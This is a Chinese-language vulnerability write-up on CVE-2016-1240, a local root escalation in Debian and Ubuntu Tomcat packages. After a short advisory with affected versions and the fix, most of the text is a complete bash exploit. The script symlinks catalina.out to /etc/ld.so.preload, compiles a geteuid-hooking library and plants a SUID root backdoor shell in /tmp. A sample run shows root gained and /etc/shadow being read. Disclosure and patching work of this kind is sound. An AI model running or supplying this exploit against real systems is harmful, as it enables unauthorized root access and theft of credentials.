Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權，攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大，受影響的使用者需要特別關注。

Tomcat是個執行在Apache上的應用伺服器，支援執行Servlet/JSP應用程式的容器——可以將Tomcat看作是Apache的擴充套件，實際上Tomcat也可以獨立於Apache執行。

漏洞編號：

CVE-2016-1240

影響範圍：

Tomcat 8 <= 8.0.36-2

Tomcat 7 <= 7.0.70-2

Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影響的系統包括Debian、Ubuntu，其他使用相應deb包的系統也可能受到影響。

修復方案：

Debian安全團隊已經修復了受影響的包；更新至系統提供的最新版Tomcat包即可。

漏洞概述：

Debian系統的Linux上管理員通常利用apt-get進行包管理，CVE-2016-1240這一漏洞其問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程式會自動為管理員安裝一個啟動指令碼：/etc/init.d/tocat* 利用該指令碼，可導致攻擊者通過低許可權的Tomcat使用者獲得系統root許可權！

# Run the catalina.sh script as a daemon

set +e

touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

本地攻擊者，作為tomcat使用者（比如說，通過web應用的漏洞）若將catalina.out修改為指向任意系統檔案的連結，一旦Tomcat init指令碼（ROOT許可權執行）在服務重啟後再次開啟catalina.out檔案，攻擊者就可獲取ROOT許可權。

漏洞PoC：

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
 

#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait  \n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed  "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too   \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

Poc執行示例：

[email protected]u:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[email protected]:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial

[email protected]:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

[email protected]:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 
 
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 

http://legalhackers.com

[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 
 

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too   

[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit